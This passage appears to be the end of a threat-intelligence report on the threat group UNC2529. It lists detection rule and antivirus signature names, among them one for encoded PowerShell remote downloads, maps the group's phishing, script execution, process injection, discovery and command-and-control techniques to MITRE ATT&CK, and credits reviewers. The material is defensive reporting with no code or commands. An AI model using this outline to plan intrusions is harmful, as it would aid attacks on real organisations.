Endpoint Security	*Real-Time (IOC)* • POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY) • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) • MALICIOUS SCRIPT CONTENT A (METHODOLOGY) • POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY) *Malware Protection (AV/MG)* • Generic.mg.1aeecb2827babb42 • Generic.mg.1bdf780ea6ff3abe • Generic.mg.1f285e496096168f • Generic.mg.6a3a0d3d239f04ff • Generic.mg.ce02ef6efe6171cd • Generic.mg.fa9e686b811a1d92 • Trojan.JS.Agent.TZP • Gen:Variant.Ulise.150277 • Gen:Variant.Ulise.150283 • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category	Techniques
Resource Development	• Compromise Infrastructure (TT1584) • Develop Capabilities (T1587) Digital Certificates (T1587.003) • Obtain Capabilities (T1588) Digital Certificates (T1588.004)

Initial Access	Phishing (T1566) Spearphishing Link (T1566.002)
Execution	• User Execution (T1204) Malicious Link (T1204.001) • Command and Scripting Interpreter (T1059) ◦ Visual Basic (T1059.005) ◦ JavaScript/JScript (T1059.007)
Privilege Escalation	Process Injection (T1055)
Defense Evasion	• Indicator Removal on Host (T1070) File Deletion (T1070.004) • Obfuscated Files or Information (T1027) • Process Injection (T1055) • Modify Registry (T1112)
Discovery	• System Owner/User Discovery (T1033) • Process Discovery (T1057) • System Information Discovery (T1082) • Account Discovery (T1087) • Software Discovery (T1518)
Collection	• Screen Capture (T1113) • Archive Collected Data (T1560) Archive via Utility (T1560.001)
Command and Control	Application Layer Protocol (T1071) ◦ Web Protocols (T1071.001) ◦ Asymmetric Cryptography (T1573.002)

Acknowledgements

Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.